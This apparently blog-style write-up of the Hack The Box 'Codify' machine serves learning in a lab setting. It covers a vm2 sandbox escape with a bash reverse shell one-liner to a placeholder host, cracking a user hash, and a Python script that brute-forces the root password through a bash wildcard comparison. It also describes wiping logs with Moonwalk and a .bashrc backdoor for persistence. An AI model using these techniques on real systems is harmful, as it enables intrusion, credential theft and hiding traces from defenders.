Checkout my YouTube Video Writeup https://youtu.be/BbXbbBDW48c
Engagement Flow
Tools used
John
Chat GPT
Moonwalk
Tactics/Techniques
Remote code execution
Hash cracking
LMP AI script generation
Covering our tracks - with Moonwalk
Persistence - bashrc backdoor one liner
References
Summarymy
1) Enumeration - Host
Port 22 - ssh
Port 80 - http
Port 3000 - ppp
Port 8080 - http - proxy
2 ) Enumeration - Web Application
Browse to the application
View the limitations page
View the About Us page
View the VM2 page
Tinker with the node js sandbox environment
3) Initial Access & Horizontal Movement
Research known vm2 sandbox CVE's
Find reverse shell without file read and child process library calls
Execute reverse shell through the editor
Obtain access as low level user
Manually look through var/www
Locate and crack hash in /var/www/contacts/tickets.db
4 ) Privilege escalation
Review sudo -l output
Script analysis
Vulnerable script identification
Generate script to uncover password
5) Post Exploitation
Covering our tracks with moonwalk
Persistence by adding a backdoor to the bash.rc file
Enumeration - Host
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
|_ 256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open http Node.js Express framework
|_http-title: Codify
8080/tcp open http Node.js (Express middleware)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I am initially feeling that our surface area of attack will be narrowed to the Node.js web application seen running on port 8080 and 3000.
Port 22 will be used for an SSH connection later in our engagement as per the usual HTB machine. Port 80 will is likely just for HTTP connections to the apache server and is not intentionally vulnerable here.
Enumeration - Web Application
Browsing to the application provides us with the landing page seen in the below image. At this point I am feeling very confident the attack surface is limited to this web application written in Node JS. It is very rare that we directly exploit or attack the underlying web server technology, in this case Apache.
We notice the web page talks about the purpose of the web application, being an experimental sand box to run code in Node.js. Following the limitations page URL we are able to learn more about our application as we start to strategize attack paths. We are presented with information on restricted and allowed modules. Allot of attack paths here would be prefaced with sandbox escaping followed by the goal to execute a reverse shell or write and read ssh keys. However with "child_process" and "fs" libraries black listed, we are limited.
Pivoting to the "About Us" page reveals the underlying technology "vm2". The VM2 library is commonly used for sandboxing JS scripting.
Exploitation Phase for initial access
I found this part to be enjoyable as I researched multiple attack paths and attempted different exploits. The CVE that was successful for me was CVE-2023-37903. It was not until I tried many other attack paths that I started to research Node JS Sandbox VM2 escaping CVE's and their payloads.
I eventually came across this github page with a payload that did not contain the libraries fs and child_process.
const { exec } = require('node:child_process')
exec('bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"', (err, result) => {
if (err){
console.error("Failed:", err)
return
}
console.log(result);})
Horizontal Movement
At this stage we have access to the host and we will start to enumerate the target machine looking for any possible attack surfaces that can be leveraged to move horizontally and acquire further privileges and access.
While using lin pease is usually my my go to for internal enumeration, I took a peak at the web application folder /var/www/contacts/ and as I went through each file, I found the tickets.db folder which contained hashed credentials.
var/www/contact$ strings tickets.db
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
From here we crack the password using john the ripper and pivot to user joshua.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt and we get the password spongebob1
Privilege Escalation
Because this was an easy machine, it is often the case that there is a sudo run as declaration in place that has to be pursued. In this case, we have a sql backup script that we can run as root.
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Diving into the script we start to analyze the code as we look for insecure coding, object calls or vulnerabilities. This script had me puzzled and I had to refer to the HTB forums to help me focus on the comparison operator == [[]]. In bash this apparently performs pattern matching and not string comparisons.
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
The vulnerability here, is that we can uncover the password by having the program check if a character is in the password, by performing a char + * argument, and the program will return true if the character is in the appropriate position in the password string. The path forwards here is to develop a script to pass the command run as sudo, and then loop through A-Z - 0-9 and append each character with a wildcard and a final check to see if it returned true and to out put this to the screen.
I worked with chat GPT and eventually had this script put together.
You can see above that the script worked through and output the password, however it did not properly end and continued to out put * symbols. Initially there were issues with treating user input as bytes and trying to encode and decode. As well, chat GPT had a hard time understanding that the wild card was to be appended with each character and iterated, but I eventually got it and learned allot about communicating with Chat GPT. The final script that work is below.
import subprocess
def run_command(command, password):
process = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
output, _ = process.communicate(input=password + '\n') # Pass the password as string directly
return output
def main():
final_password = ""
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789*'
# Command to execute
command = "sudo /opt/scripts/mysql-backup.sh"
while True:
password_found = False
for char in characters:
test_password = final_password + char + '*'
response = run_command(command, test_password)
if "Password confirmed!" in response:
print(f"Character '{char}' confirmed.")
final_password += char
print("Current password:", final_password)
password_found = True
break # Move to the next character
if not password_found:
break # Exit loop if no more characters are confirmed
print("Final password:", final_password)
if name == "__main__":
main()
From here we switch to user root and capture the flag.
Post exploitation
Covering our tracks with Moonwalk
Moonwalk is a 400 KB single-binary executable that can be used to clear traces during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. It saves the state of system logs pre-exploitation and reverts that state, including the filesystem timestamps post-exploitation, leaving zero traces of a ghost in the shell.
Moonwalk is not to be confused with Spacewalk, an open-source Linux systems management solution that is the upstream community project from which the Red Hat Satellite product is derived.
Persistence
When a user logs into a system, their login shell, often Bash (/bin/bash), reads and executes the .bashrc file located in their home directory. Attackers can leverage this behavior to add a reverse shell or execute remote scripts.
Understanding the .bashrc file: The .bashrc file contains configuration settings and customizations for an individual user's Bash shell. It is executed each time the user opens an interactive shell session, such as logging in via SSH or opening a terminal.
Identifying the target user: We need to identify the target user whose .bashrc file they want to modify. This typically requires prior knowledge of which users regularly log into the compromised machine.
Adding a reverse shell: A reverse shell allows us to establish a connection from the compromised system to their own system, providing them with interactive command execution on the compromised machine. Attackers can add a reverse shell one-liner to the target user's .bashrc file. This way, each time the user logs in, the reverse shell connects back to the attacker's machine.
Executing remote scripts: Alternatively, instead of a reverse shell, attackers can modify the .bashrc file to execute remote scripts. This can be achieved using curl or other similar tools to download and execute a script from a remote server. By embedding this command in the .bashrc file, the script will be executed every time the user opens an interactive shell session.
Maintaining persistence: By modifying the .bashrc file, the attacker ensures that their malicious code executes every time the user logs in. This allows the attacker to regain access to the compromised system repeatedly without raising suspicion.
THE END
Comments